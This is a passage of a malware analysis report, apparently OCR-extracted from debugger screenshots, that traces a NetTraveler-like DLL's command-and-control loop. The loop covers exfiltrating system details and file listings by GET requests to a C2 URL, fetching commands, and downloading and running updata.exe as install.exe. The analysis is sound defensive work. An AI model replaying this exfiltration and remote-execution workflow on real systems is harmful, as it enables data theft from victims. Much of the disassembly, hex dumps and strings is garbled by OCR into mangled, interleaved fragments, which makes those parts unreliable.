o 100010E0 8D 45 F4 lea eax,dword ptr ss:[Jebp-cJ
® 100010E3 50 push eax
o[ 100010E4 8D 45 FO Tea eax,dword ptr ss:[Jebp-10]
#( 100010E7 50 push eax
| 100010E8 8D 45 FC Tea eax,dword ptr ss:[Jebp-4]
#( 100010EE 50 push eax
(| 100010EC 46 inc esi
®( 100010ED FF 75 FC push dword ptr ss:lffebp-4]
& 100010F0 FF 75 0C push dword ptr ss:ffebp+C]
o 100010F3 FF 75 08 push dword ptr ss:/febp+a]
EIP, E8 05 FF FF FF call 'Fascusersmccmngcmpanmh\:yex 10001000
» [ 10D010FE 83 C4 1C add esp, L
100010FE ~ EB CB imp 'Fastusersm[cmngcompanmhcyex 100010CB
e 10001100 BB C& mov eax,esi
#( 10001102 G4 04 push 2
e 10001104 29 cdg
[ 10001105 59 pop ecx : "ABCDEFGHIJKLMNOPQR STUVWXYZ abcdefghijk’
e 10001106 F7 Fa idiv ecx ecx: "ABCDEFGHIIKLMNOPOR STUVWXYZ abcdefghi Jk
#( 10001108 85 D2 test edx,edx
e[ 10001104 ~ 74 07 ie fastusersmt(mngmmpanmhtyex 10001113
| 1000110C €6 04 3E 2a mov byte ptr ds:[esi+edi],2a za:
e[ 10001110 46 inc esi
10001111 ~ EB ED jmp Tastuserswitchingcompatibilityex.10001100
10001113 8B C6 mov eax,esi
10001115 SF pop edi edi:"x54"
< >
Tastuserswitchingcompatibilityex. 10001000
. Text: 100010F6 fastuserswitchingcompatibilityex.d11:$10F6 #4F6
Woump1  @oumpz  @hoump3  @loump4  Woumps @ watthi  bellocals 2 Struct DOREEZDH 3355,32‘;5
e ascax ] ooeer23s  soaoocos
1000B045 |41 42 43 44(45 46 47 4549 4A 46 4C |40 4E 4F 50| ABCDEFGHIJKLMNOP ROBL Lok | DO E s
1000B058|51 52 53 54|55 56 57 58|59 5A 61 62(63 G4 65 66| QRSTUVWXYZabcdef E Lo | HORLESEG
1000B068| 67 658 69 6A|6B 6C 6D GE|6F 70 71 72(73 74 75 76| ghijkImnopgrstuy SOREE k| DoRECsed
1000B078|77 78 79 7A|30 31 32 33|34 35 36 37|38 39 2D 2F | WXyZ0123456789-/ nnoecaar | 7e37cnEn | barnal3 fatbrnraccussn

The encoded data is exfiltrated via a GET request to vipmailru[.Jcom (C2 server). The following parameters are

provided in the URL: hostid = the serial number of current disk drive, hostname = hostname, hostip = IP of the

machine, filename = “travlerbackinfo-<year>-<month>-<day>-<hour>-<minute>.dll”:

B 10003689

01 40 80

FC
Bl 00 10

10
14 92 00 10

13 01 00 00
08

esesesesesssssnese

08 60 EA 00 00

ebx
80400100

push
push
push ebx
push ebx
push ebx
push dword ptr ss:|[[ebp-4]
push fastuserswitchingcompatibilityex.1000B1E8
push dword ptr ss:|[febp+10§
€all dword ptr ds: [<&HttpOpenRequestas]
cmp eax,ebx
mov dword ptr ss:[ebpicl, e
je fastusersw1tch1ngcumpat1b111:yex.10003?F1
lea ecx,dword ptr ss:[ebp+sl
push 4
push ecx
push 2
ush

p eax
mu\1/1dwor_'d ptr ss:[lebp+slll,EAGD

1000B1ES: "GET"

dword ptr [10009214

astuserswitchingcompatibilityex.&HttpOpenRequestA>]=<wininet.HttpOpenRequesta>

. Text: 100036CD fastuserswitchingcompatibilityex.d11:$36CD #2ACD

Woump 1 goumpz  WHoumps  @WDump4 WWoumps @ watthi  elleaals 4P Stuct Frmrrr e | e
[E psm ~ |05t D22¢ | 00000000
00F29636 | 2E GE G5 77|73 69 GE GG|6f 2F 31 31|GE 74 2F GF| /newsinfo/1int/n L o
00F29645 |65 74 74 7Z|6l 76 65 6C|65 72 2E 61|73 70 3F 68| ettraveler.asprh pbin bipin ietoris i
00F29655 | 6F 73 74 69|64 3D 41 32|43 33 41 44|32 46 26 68| OStid=A2CSADZF&N s
00F23668 | 6F 3D(44 45 53 4B 54 4F 50 2D | 0STNamE=DESKTOP- L e
D0F2o675 | 5o I €3 70 30 312 hostip=1 ol bleciationd
00F29655(39 32 2E 31|36 38 2E 31|36 34 2E 51 32 38 26 66 92.168.164.128& %
00F29638 (63 6C 65 6E|61 60 65 3D|74 72 61 76|6C 65 72 62| ilename=trawlerbh QOBEDAS ME3250F0, | KeEne] 32 GELREocessHEaD
00F296AS |61 63 6B €9|GE 66 GF 2D|32 30 32 30|20 31 31 2b|ackinfo-2020-11- obriblp i el ot
00F29685 (32 33 2D 35|20 34 39 2E|64 6C 6C 26|66 63 6C 65|23-5-49.d11&File el bt
00F296CS (73 74 61 72|74 30 30 26|66 69 6C 65|74 G5 78 74| STart—0&Tiletext b el
0OF296D5 [ 3D 62 65 67|63 6E 3A 3A|78 53 34 4F |42 G3 32 76| =begin::xS408izv s bty
00F29GES |47 4D 79 33|47 75 33 30|30 47 4B 7A 3L 45 58 51| GMy3GUI00GKZ1EXQ bt e
0OF296FG |61 43 75 52|48 51 67 49|68 46 4B 5A|4C 48 68 50| aCLRHQUINFKZLKhP e
00F29708 (4B 41 74 47|52 44 47 5A|4A 48 4A 43| 4A 38 59 30| KALGRDGZIKIIIBYQ eteschitiala st
00F259715(32 47 75 31|4F 77 33 33|4B 46 49 69|6B 32 6C 4A| 2GulOW33KFI k213 e D e loaanoon0
00F29728|4A 77 57 72|59 61 79 33|72 52 63 4F |52 GB 4C 68| JwWrYay3rRiORKLh iaatbigpadbidenainiion
00F259735(69 4E 68 78|GA 38 61 55|4D SA 44 69|5A 4C 4A 73| iNhxj8aUMZDizZLis e
00F25748(74 64 37 73|39 61 73 31|5A 7A GF 6F 48 43 33 €D|td7s9aslZzooHIzm il st
00F29755(59 79 6E 4D|35 €D 6B 33|60 34 77 €D |77 57 43 41| YynMSMK3mawmwwCA PRERDLE X iannnDno
00F25768 |51 43 67 68|48 55 30 6|77 79 43 43|65 6A 41 53| QCONHUOmNYCCeIAY &

Figure 64

If the server response contains “Success:”, the exfiltration was successful. The malicious process also deletes

system_t.dll using DeleteFileA API . It performs another GET request (to the same C2 server) with the parameters

including “action=getcmd” and others which were already explained above:

53 pusl

€8 00 01 40 80 push 80400100

53 push ebx

53 push ebx

53 push ebx

50 push eax

68 ES B1 00 10 push
10003085 EE 75 F push

E— FF 15 14 92 00 10 call dword ptr

1000308E 38 C3 cmp eax, ebx

Tdword ptr [

- text:10003088 fastuserswitchingcompatibilityex.d11:$3D88 #3188

e T A

eax: /nea\;lnfu/llﬂt/r
1000B1ES: "GET

dword ptr ss:[febp

107
{5+ fcairt tpopenrequestas]

sinfo/11nT/r v

X8/ 1W_2 3 (EMPTY)
x87TW_4 3 (Empty)
X87TW_6 3 (EmpTy)

X8/ 1W_3 3 LEMPTY)
XB7TW.5 3 (Empty)
X87TW_7 3 (EmpTy)

x87statusword 0000
X87SW_B 0 X87SW_C3 O
x87SW_C1 0 x87SW_CO O
x87SW_SF 0 Xx87SW_P O

e

X87SW_CZ O
x87TIW_ES 0
x87SW_U 0O

nerauu (stdm”)

10009214 <fastuserswitchingcompatibi1iTyex.aHCTPOPENREquUeSTA> J=<wininet, HELpOPenRequestA>

-5 B0
FeepT 4] So00R1EG "GET™

[esp+s] 0093EAA0 "/newsinfo/11nt/nettraveler.as|
[esp+<] 00000000

4

I0CCO008
Woump:  @oump2  #Woump3  @oump4  EWoumps B watchi  Ix-llocall P gET"
o T ASCTT = " /newsinfo/11nt /nettraveler. aspractions=g
DO93EAAD | 2E_GE 65 77|73 69 6E 66|6F 2F 31 31|6E 74 2F 6E|/newsinfo/iint/n
0093E4B0 |65 74 73 72|61 76 65 6C|65 72 2E 61|73 70 3F 61 ertraveler.asp?a
0093EACO|63 74 69 GF|GE 30 67 65|74 63 6D 64|26 68 6F 73| crion=getcmdahos
DO93EADO |74 69 64 3D 32 43 29|41 44 32 46 26 68 6F 73| tid=A2C3AD2F&hos
0093EAED |74 GE 61 6D G5 3D 44 4 (53 4B 54 4F |50 20 32 W tname-pEsKTOR-2f meveer Eprinct
8093540 8000 00]0D 00 00 00]00 00 00 00| NN 00930284 76524580 .

Figure 65

C:

ToP- 2 -

The result of the query must contain “[CmdBegin]\r\n” at the beginning of the message and “[CmdEnd]\r\n” at the end

of it. The message between the “borders” is saved at “C:\Windows\System32\stat_t.ini” and then the process performs
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a GET request (same C2 server) with a modified parameter “action=gotcmd” and other parameters used before:

Aosin_s 3 yEmpLyy

X87TW_5 3 (EmpTY)

6 3 (Empty) X87TW_7 3 (Empty)

x87Statusword 0000

X87 E 0 x8 i XB7SW_C. o

1 XB7SW_C1 0 X8 0 . 0

XB7SW_SF 0 X8 o o

i — =
11AT/T v

32 3 | Default (stdcal) - |[s B0

g <
|dword ptr [10009214 <fastuserswitchi ibilityex. &H A>]=<wininet, Hi A

esp] DOCCGO008
ESFH-#; 1000B1E8 "GET"

ST
Iz
3 p+8] DD93EABC "/newsinfo/lint/nettraveler.as
4: [esp+C] 00000000

.text:10003D88 fastuserswitchingcompatibilityex.d11:$3D88 #3188 =

F = DOCCO008 |

Woump1  @oump2  @Hoump3  @oumps  @oumps @ watch1  Ix-lLocall P m o e
00930288 | 0093EABC | */newsinfo/11nt /nettravel er. asp7action=gotcmd&hostid=A2C 9AD2F&hos tname=DE SKTOP-2 SN

5025C | 00000000

00000000

0000000

Address | Hex ASCIT ~
D093EABC | 2E_GE G 77[73 69 GE ss‘s; ZF 31 31|6E 74 2F GE | /newsinfo/iint/n

DO23EACC |65 74 74 72|61 76 65 6C|65 72 2E 61|73 70 3F 61|ectraveler.aspra
DO93EADC |63 74 63 6F|6E 3D 67 6F 74 63 6D 64|26 68 GF 73| Crion=goTcmdahos
D0I3EAEC |74 69 64 30 (41 37 43 39|41 44 32 46|26 68 6F 73| tid=A2C9ADZF&hos - | 00000000
003ZEAFC |74 6E 61 GD|65 3D 44 45 |53 4B 54 4F nane=DESKTOR-2f] 5| aooooaoa
009zEE0C NN (0 00 00[00 00 00 00 ER . .........| l;;ecssislannnnana

0400100

Figure 66

As before, if everything works fine the file expects an HTTP response which contains “Success” string. The process is

looking to delete a file called “C:\Windows\SysWOW64\dnlist.ini” which doesn’t exist at this time. The file will be

created and populated with the following data:

e dnlist.ini

[
filetotal=0
i

Filelist]
-

ScanList]
1ircount=0
canAll=True

GSearch=True
UTypeLimit=True
UAuto=False
ypes=doc, docx,x x1sx,txt, rtf,pdf

Figure 67

File stat_t.ini is deleted using DeleteFileA function and then it calls GetACP API which returns the current Windows
ANSI code page identifier for the operating system. Because the value of ScanAll is True in dnlist.ini, the malware
scans for all available disk drives using GetLogicalDrives API and then compares the type of them with 3
(DRIVE_FIXED) or 4 (DRIVE_REMOTE) using GetDriveTypeA API:
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LJtext:leeezD2b

Ltext: 10862020 loc_1e882D20: 3 lpRootPathName
Ltext: 188682020 push [ebp+lpRoctPathName]
.text:10802D30 call ds:GetDriveTyped

LJext:18e82036 cmp edx, 3
text 18882039 jz short loc_leea2D48
FIE
Lewt:188820368 cmp eax, 4
Ltext:1888203E jnz short loc_lee82D77
2 Yy
il e
Lext:leee2D4e
Jdext:10862048 loc_10862D48:
Jtext:1eea2D4d push [ebp+lpRootPathName ]
Ltext:18882043 inc [ebpt+var_8]
text: 10882046 lea eax, [ebptstr]
Jtext:188a2D4C push [ebp+var_8]
.text:18088204F push offset aDDS 3 "d¥d=%s\n"
text: 18882054 push eax ; Dest
Jtext: 18882055 call esi ; sprintf
.text:18882D057 add esp, 18h
Ltext: 18882054 lea eax, [ebptstr]
text: 188682068 push ebx ; File
.text:18882061 push eax HB o g
Ltext:1eee2062 call strlen
Jext:1ee82De? pop eCX
.text:18882068 push eax ; Count
Ltext: 18882069 lea eax, [ebpt+str]
Ltext:188a82D6F push 1 ; Size
Ltext:18882071 push eax = o
Ltext:18882072 call edi ; fwrite
Ltext: 18882074 add esp, 18h
L]
Figure 68

Let’s suppose that “C:\” is the first drive found by the process. The file will enumerate all files and directories from
the “C:\” drive and the directories name will be saved as dn (where n=1,2,3, ...) and the files name will be stored as fn
(where n=1,2,3,...), together with filecount (total number of files) and dircount (total number of directories). All

information described will be stored in a new file called “C:\Windows\SysWOW64\enumfs.ini”:
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[ enumfs.ini E3
i EH [Computer]
2 Name=0EsrTor-2 N
3 - Page=1252
4 [ [DESETOP-z I
5 dl=C:%
[ —dircount=1
7 = c:\d
g dl=3%Recycle _Bin
5 £1=5WINRE BRCEUP PRRTITION MRLREER
1a d2=70ed7fdb2eded4d8eil
E d3=Boot
12 f2=bootmgr
13 £3=BOOTNET
14 f4=RBOOTSECT . BAE
15 dé4=Documents and Settings
16 db=EFS5 Software
R fh=eula.l028 . txt
1a fe=eula.l031l.txt
13 £7=eula.l033 . txt
20 fi=eula.l036.txt
21 fh=eula . 1040 _ txt
22 flo=eula.l04l . txt
23 fll=eula.l042 _ txt
24 flZ=eula.2052 . txt
25 £fl3=eula.3082 . txt
2E fl4=globdata.ini
27 £fl5=install .exe
28 fleé=install .ini
29 fl7=install .res.1028_d11
30 fl8=install .res.1031.d11
31 flS=install .res.1033_d11
32 f20=install .res.103c.d1l1l
33 f2l=install .res.1040.d11
34 f22=install res.1041_4d11
35 £f23=install .res.1042_d11
36 f24=install .res._2052_d11
37 f25=install .res.3082 _.d11
38 de=logs
38 fleg=pagefile.sys
40 d7=PerflLogs
41 d8=Program Files
42 dS=Program Files (xZ¢)
43 dli=ProgramData
44 dl1=Python27
45 dlZ=python27-xcd
4g dl3=Recovery
47 f27=5tarBurn.log
43 dl4=5trawberry
45 f23=swapfile.sys
50 dl5=5ystem Volume Information
51 dle=temp
52 dl7=Users
53 fih%=vcredist . bmp
54 £30=VC_RED.cab
55 £31=VC RED.MST
56 dl@=Windows
57 dircount=18
58 filecount=31
55 b
Figure 69

The operation applied to “C:\” drive is recursive and it’s applied to each directory (all information will be appended to

enumfs.ini). The following information is added/modified in dnlist.ini:
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[EnumTime]
DateTime = scan date
[ScanList]

ScanAll = False

The enumfs.ini file will be transferred to the C2 server via a GET request as before (compressed + encoded). The

filename parameter has the following form: “FileList-<month><day>-<hour><minute><second>.ini”:

L—we 53 push ebx

68 00 01 40 80 push 80400100

53 push ebx
. 53 push ebx
. 53 push ebx
. FF 75 FC push dword ptr ss:|ebp-4[]
. 68 E8 Bl 00 10 push fastuserswitchingcompatibilityex.1000B1ES 1000B1ES: "GET"
. FF 75 10 push dword ptr ebp+10

Eg— FF 15 14 92 00 10 call dword ptr ds:[<&HttpOpenRequestA>]
) e e sty
>

dword ptr [10009214 <fastuserswitchingcompatibilityex.&HttpOpenRequestA>]==<wininet.HttpOpenRequestA>

.text:100036CD fastuserswitchingcompatibilityex.d11:$36CD #2ACD

4 Dump 1 B4y Dump 2 B4 Dump 3 U4y Dump 4 84 Dump 5 @ watch 1 [x=]Locall M [ 33| C gggggigg “GET"
T ~JAscr ]| 00930024 | 0030578
T

DOA3D97E 73 69 GE 66|6F 2F 31 31|6E 74 2F GE|@newsinfo/lint;/n S
00A3D958 61 76 65 1(73 7 68| ettraveler. aspTh f][‘°?‘D[]:U 00000000
00A3D998 64 30 41 68| 0sTid=A2C3AD2F&N 00920024 80400100
00A3D9AS 61 6D 65 anj{losETHme 1 ES KT 00930036 | 00000000
00A2D9BS B2 GF 73 74 31| 2 oS tip=1 0033D03C | 00000400
ggﬁg%g 2f ‘3_33 ég 26 65 ?%é#g.—iéig?iéf?g 00930040 | 763250F0 | kernel32.GetProcessHeap
DOA3D9ES 33 20 30 €9|-1123-072910. ini DD o
0DA3DIFE 65 73 74 afilestart=0&fil 0093004C | 00000000
00A3DACE 74 3D 62 etext=hegin: : Gk 00330050 | 00000000
00A3DALS 51 7A 65 A1 0= ehi g e 0093005 4| 00000000
00A3DAZS 69 63 59 XQacicyTazR 6RCKU 0092005 & | 00000000
ODA3DA3E| 7 65 55 42 YIVCeUBaNT GMySUS 0033D05C | 00000000
00A3DA48 51 4D 4A QTsRQMING xiMhgMq 00920060 | 00000000
D0A3DASS 4F 45 6D At-yOEmQvjohjouy 00920 00000000
DOA3DAGE 4D 5A 76 ~NIYMZVOpUOkmxXk 00930 00000000
00A3DATE 43 6B SA P161CkZTGeTGhDKL 00930 00000000
0DAZDASE 64 57 54 TEaTdWTNTwrkknFI 00920070 | 00000000
DOA3DAIE 45 45 B8 7 [ 118hEENKksq1AVIAg . e sl

Figure 70

The server response is expected to contain “Success:”. The attacker is interested in the following types of files: .doc,
.docx, xls, .xlIsx, .txt, .rtf, .pdf (Types parameter from dnlist.ini file). The malicious process tries to open uenumfs.ini
which doesn’t exist at this moment, and then enumerates the files found in
“C:\User<Username>\AppData\Local\Temp\ntvba00.tmp\”. This specific directory will be created by Thread2 and

will contain all files which have been selected to be exfiltrated to the C2 server:

®| 10004E21 50 push eax eax Wiusers' N X87SW_B 0 X875W_C
. 8D 85 B8 FC FF FF lea eax,dword ptr ss:[febp-32s] XB7SW_C1 O XB87SW_CI
. 50 push eax eax: "C:i\\Users I XB7SW_SF 0 X87SW_P
. FF 15 B4 90 00 10 call dword ptr ds:[<&FindFirstrileas] o

. 88 D8 mov ebx,eax \ \WINDOWSY, \SYS v

. anre en R Priememene s et (strdcal])

>

1: [esp] OD93EDOC "C
2: [esp+4] D093EF14
3: [esp+8] 00000000
4: [esp+C] 00002C2C

dword ptr [10D090B4 <fastuserswitchingcompatibilityex.&FindFirstFileA>]=<kernel3z.FindFirstrileA>

.text:10004E29 fastuserswitchingcompatibilityex.d11:$4829 #4229

0093eD0C | "C:\\Usersy\JIl \AppData\Localy\Temp\\ntwbaono. tmp\\*. *"
0093EF14
00000000
00002C2C
10016758 | "C: "\ \WINDOWS'\system32'\enumfs.ini"
555C3A43

377cc73

Woump1  @oumpz  @pump3  @pumpd  @oumps @ watch1  eliocad P DRSSECeC

0093EDDO

Address | Hex SEEED I— ~ | bnazepo4
0093EDOC |43, 34 5C 5573 65 72 73|5C MMM SC 41 70 70|C:nUsers ApD hoR
0093EDIC |44 6L 74 61[5C 4C 6F 63|&L 6C 5C 54|65 6D 70 5C|Data\Local\Temp\ it

0093ED2C|6E 74 76 62|61 30 30 2E|74 €D 7O 5C|2A 2E 2A 00|ntvbaoo. tmph

Anazcnin

Figure 71

Now the process contacts the C2 server again with the parameter “action=getdata”. It expects one of the following
responses: “A2C9AD2F:UNINSTALL”, “A2C9AD2F:UPDATE”, “A2C9AD2F:RESET” or “A2C9AD2F:UPLOAD”

(note that “A2C9AD2F” is the volume serial number extracted a while ago):

] 53 push ebx I,
. 63 00 01 40 80 push 80400100 ST L
. 53 push ebx
. 53 push ebx xB7Statush
. 53 push ebx XB7SW_B O
. 50 push eax eax: " /newsinfo/11nt,/r XB7SW_C1 O
- 68 E8 B1 00 10 push fastuserswitchingcompatibilityex.1000B1E8 1000B1ES: "GET" XB7SW_SF O
- FF 75 FO push dword ptr ss:[Jebp-10]
Ep— FF 15 14 92 00 10 €all dword ptr ds:[<&HttpOpenRequestAs] : )
. T =l Sesmmmm————— Default (stdcall
1: [esp] O
dword ptr [10009214 <fastuserswitchingcompatibilityex.&HttpOperRequestA>]=awininet.HttpOpenRequesta> 2 esp+a]
3: [esp+8]
3 5 S 4: [esp+C]
.text:10003D88 fastuserswitchingcompatibilityex.d11:$3D83 #3138 1
00CC0o008
Woump1 | @Woump2  @Woump3  @loump4  Eloumps @ warhi -l P S55SEI0)| 1000B1ES | "GET"
ASCIT A | 00930184 "/newsinfo/llnt/nettraveler.aspTaction=getdata”
- . . 00930188 | 00000000
69 G6E 66(6&F 2F 31 316l ¥newsinfo/11nt,/n 0093D15C | 00000000
76 65 6C|65 72 2E 61(7 1 et;rave'ler.asp*‘a 'J[]Q;Dlﬂ[] 00000000
000 B el blid L k] 00930134 | 80400100
BEEIEL 0 0093019 | 00000000
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Figure 72
Case 1: (UNINSTALL)

The following registry keys are deleted using RegDeleteKeyA API:
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Enum”,
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Parameters”,
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Security” and
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility”. Also the
process deletes enumfs.ini, dnlist.ini, “C:\WINDOW S\system32\udidx.ini”, uenumfs.ini and stat_t.ini. One such call is

displayed below:

push 2ax eax:"SYSTEM\\Currentcontrolset\\servics XB7SW_SF 0 xB7Sw
push ebx = =
call edi edi:RegDeleteKeya

-
Default (stdcall)

1: [esp] 80000002

2: [esp+d] DD93EF!

3: [esp+8] 000000(

4: [esp+c] 00002C

>

edi=<advapi32.RegDeleteKeyA> (776102C0)

.TexT:100050BC Tastuserswitchingcompatibilityex.d11:$508C #448C

WWoump1  @4oump2  @oump3  Whoumpa  @Woumps @ wathi  -lioca P

Figure 73

The C2 server is informed that the operation is complete by performing a GET request with “action=updated”

R B — b e X8/IW_Z 5 (EMPTY) X
53 push ebx
68 00 01 40 8O push 80400100 XB7TW_4 3 (Empty)  x!
53 push ebx x87TW_6 3 (Empty) i
53 push ebx
53 push ebx x87statusword 0000
50 push eax eax: " /newsinfo/1lnt/nettravel X87SW_E O XB7SW_C3
68 E8 B1 00 10 push fastuser ngcompatibilityex. 1000B1E8 1000B1E8: "GET" X87SW_C1 O XB7SW_CO
FF 75 FO push dword pt bp-10ff X87SW_SF O XBTSW_P
B FF 15 14 92 00 10 call dword ptr <&HTTpOpenRequestax] [ oo o o occu =
38 C3 cmp eax, ebx eax: " /newsinfo/llnt/nettravel v
St e SRHES AT e = SRl AR T B ™ et ftdeal)
— e — 1: [esp] 00CCO0O
dword ptr (10009214 <fastuserswitchingcompatibilityex.&HttpOpenkequestA>]=<wininet.HttpOpenReques tA> 2: [esp+s] 1O00BLES "G
3: [espr8] 0093CEAS "/
4: [esp+C] 00000000
.TexT:10003D88 fastuserswitchingcomparibilityex.d11:53p88 #3188 eiesnl Do000000 =

Wioump1  @oumpz  @Woump3  @Wpump4  @houmps @ watch1  e=lLocals

Address | Hex ASCIT

DD93CHAB |2E GE G5 77|73 69 6E 66|6F 2F 31 31|6E 74 2F &E|Jnewsinfo/1int/n
0093CEBS| 65 74 74 72|61 76 65 6C[65 72 2E 61|73 70 3F 61|ettraveler.aspTa
D0D93CECE| 63 74 69 GF [6E 3D 75 70[64 61 74 65|64 26 68 &F | ction=updatedaho

0093CED8| 73 74 63 64(3D 41 32 43|39 41 44 32|46 00 00 00|sSTid=A2CIADZF...

GET"
"/newsinfo/11nt/nettraveler. aspraction=updatedshostid=A2c9AD2F"

Shinime

Figure 74
Case 2: (UPDATE)

Same registry keys and files are deleted as described above. Moreover, there is a GET request to the Command and
Control server using “action=datasize” parameter and the HTTP response is supposed to include “Success:” if

everything works smoothly:

. G push ebx 5 Z 2 etk
. 63 00 01 40 80 push 20400100 KETTW_8
. 53 push ebx
. 53 push ebx x875tat
. 53 push ebx X87SW_B
. 50 push eax eax: " /newsinfo/1int/nettravel X87SW_C
. 68 ES8 B1 00 10 push fastuserswitchingcompatibilityex.1000B1ES 1000B1E8: "GET" XB7SW_S
. FF 75 FO push dword ptr ss:|[febp-10]
Eg—+ FF 15 14 92 00 10 €all dword ptr ds:[<&HTttpopenRequestas]
. T e T 5 S Default (st
1: [esp;
dword ptr [10009214 <fastuserswitchingcompatibilityex.&HttpOpenRequestA>]=<wininet.HttpOpenRequestA> 2: Esg:
2: [esp
e S 4: [esp
.Text: 10003088 fastuserswitchingcompatibilityex.d11:$3D88 #3188
Woump:  @pumpz  WHoump3  @oumps  @houmps @ watch1  [xcllocal U s "GET"
address | Hex ASCIT e "/newsinfo/llnt/nettraveler. asp?action=datasize”
0093C41C | ZE 6E €5 77 (73 69 6E 66(6F 2F 31 31|6E 74 2ZF &E(newsinfo/llnt/n
0093C42C |65 74 74 72|61 76 65 6C[(65 72 2E 61|73 70 3F 6l|ettraveler.asp?a
0093C43C |63 74 69 GF|GE 3D 64 61|74 61 73 69 65 00 00ction=datasize..
0093C44C ZZ7|00 00 00 00 00 00 00 0O|.U.W.... =£..... 00000000

Figure 75

The malware is trying to download a file named updata.exe from the C2 server (this file not available for analysis, as

the C2 server was down at the time of the analysis):
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68 00 01 40
5

FF 15 14 92
3B C32

68 E8 Bl 00
75 FO

B8O

10

00 10

push ebx
push 30400100

push ebx
push ebx
push ebx
push eax
push fastuserswitchi r'gcomat ibi

push dword pti

eax: " /newsinfo/1int/
ityex.100081E8 1000B1ES: "GET"

call dword ptr ds: [c&HttpOperRequestA:-]
mp eax, ebx

eax: " /newsinfo/lint/.

- fupdata

- /updata

>

.text:10003D88 fastuserswitchingcompatibilityex.d11:$3D88 #3188

Woump1i  @Wpump2  WYpDump3 @M Dump 4

W4 pump 5

Address | Hex

@ watch 1 I*-Locals }' shfoos
9!

ASCII

0093C420 (2E GE 65 77
0093C430 | 2E 2F 75 70
0093C440 | 6E 3D 64 61
0093C450| 00 00 00 00

Figure 76

73 69 6E 66
64 61 74 61
74 61 73 &9
£0 2D AZ 00

6F 2F 21 31
2E 65 78 65
7A &5 00 0O
00 oo UU oo

6E 74 2F 2E
00 74 69 GF

¥newsinfo/11nt/.
- /updata.exe.tio
r=datasize...d.w

£

ZABES 2
BEC | 0093C420 | "/newsinfo/11nt/. . /updata. exe"

dword ptr [10009214 <fastuserswitchingcompatibilityex.&HttpOperRequestA>]=<wininet.HttpOpenRequesta>

00CCO008
1000B1ES | "GET'

F 00000000
F4| 00000000

£ [ 00000000
80400100
0| 00000000

The magic bytes of the downloaded file are compared to “MZ” (the format for executable, DLL files in Windows) and

also it’s looking for “PE” string at a specific offset as well. The downloaded file is saved as “C:\Windows\install.exe”

and run by the malicious process:

Lext:18883A5E cmp
Ltext:18883A64 jnz

word ptr [ebptvar_1C], "ZM'

loc_1@@83B9A

T

bl e =

LtextileeesAch cmp
Jtext 18883878 jnz

word ptr [ebptvar_18],

loc_leea3Bos

I_+I

Ll s =]

Ltext:1eeasAve mov
Jhext:1eeasAvs cmp
Ltext:18883A7C jnz

eax, [ebptvar_C]

eax, [ebptnNumberOfBytesTolrite]

loc_18883B9A

|_I*

text
text
text
text
dext

text
text
text
text
Jdext
text
text
text
text
text
dext

Figure 77

il sl =]

118863482
1 1BBB3A88
: 18883480
: 188683A8E
rleaesa04
text:

le@a3Asn

1 1e@a3AoF
PleBasAse
(le@a3sfe
(le@a3snd
r1BBa3AA8
rle@a3sns
G FUELELY
188834486
:1e@a3ABL
:1e@a3sBe
1 1BBa3aB7

lea

push
push
call
lea

push
push
call
push
push
push
push
push
lea

push
push
call

eax, [ebp+Buffer]
184h 5

Eax

)

usize
1pBuffer

ds:GetWindowsDirectoryA
eax, [ebp+Buffer]
offset String2 ;

Eax

¥

ds:lstrcath

ehx
edi
edi
ehx
ehx

eax, [Ebp+Buffer]
4p000066h 3

eax

)

ds:CreateFilesd

"y

vinstall.exe™
1p5tr1ng1

hTemplateFile
dwFlagsAndattributes
dwCreationDisposition
lpSecurityfAttributes
dwshareMode

dwDesiredAccess
1pFileName

The same request as in Figure 74 is performed once more in order to keep the server in the loop for every new step.

Case 3: (RESET)

The following files are deleted: enumfs.ini, dnlist.ini, “C:\WINDOW S S\system32\udidx.ini”

Same request displayed in Figure 74 is used to contact the C2 server (this step is done in every case).
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Case 4: (UPLOAD)

This case is identical to Case 2 (UPDATE) with the difference that no files/registry keys are deleted.

After the execution flow passes all cases, the process sleeps for 60 seconds and then it goes back in the loop.
Thread? activity

RegisterClassA function is used to register a window class for use in CreateWindow/CreateWindowEx calls, it creates
a windows using CreateWindowExA (windows class name is “NTMainWndClass”, 0x80000000 — WS_POPUP style).
Also, the window procedure used in RegisterClassA API call (sub_10004535) is called 5 times as follows (one for
each type of message): 0x81 (WM_NCCREATE), 0x83 (WM_NCCREATE), 0x01 (WM_CREATE), 0x05
(WM_SIZE) and 0x03 (WM_SIZE). We should also mention the following calls: ShowWindow (Sets the specified
window’s show state), UpdateWindow (it sends a WM_PAINT message to the window), GetMessage (gets a message

from the calling thread’s message queue) and TranslateMessage (translates messages into character messages):
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Ltext: 188845E2 mov edi, offset ClassName ; "NTMainWndClass"
Ltext:188845E7 push eax 3 lpWndClass
.text:100845E8 mov [ebpHundClass.style], esi
Ltext:188845EB mov [ebptundClass. lpfnkndProc], offset sub_l88@84535
Ltext:188845F2 mov [ebptWndClass.cbClsExtra], esi
Ltext:100845F5 mov [ebpHindClass. cbindExtra], esi
text:188845F8 mov [ebptWndClass.hInstance], esi
Ltext:1086845FB mov [ebptWndClass.hIcon], esi
.text:108845FE mov [ebpHindClass.hCursor], esi
Jtext: 10884601 mov [ebptWndClass.hbrBackground], esi
Jtext:leeadsnd mov [ebptWndClass. lpszMenulame], esi
Ltext: 18884687 mov [ebp+HindClass.lpszClassName], edi
Jdext:lesadsss call ds:RegisterClassa
Ltext:leeedcle test ax, ax
Ltext:lesedsls §z short loc_leeed4s7E
d Y
bl =
Jtext: 18884615 push esi ; lpParam
text:leesd6l6 push esi ; hInstance
Jtext:leeadsl? push esi 3 hMenu
Ldext:18884618 mov eax, dPeeeBahH
Ltext:leeadslDd push esi ; hWndParent
Jtext:1888461E push eax 3 nHeight
Jtext:1888461F push eax 3 nWidth
Ltext:leesds2e push esi =y
Jtext: 18884621 push esi 3 X
Jtext: 18884622 push eax 3 dwStyle
Ltext: 18884623 push esi ; lpWindowName
Jtext: 18884624 push edi 3 lpClassName
Ltext: 18884625 push esi 3 dwExStyle
Ltext:leesd4626 call ds :CreatelindowExA
Ltext: 18884620 mov edi, eax
Ltext 1 188B462E cmp edi, esi
text:lees4638 jz short loc_l@e8467E
- Y
bl e
Ltext: 18884632 push esi 3 nCmdShow
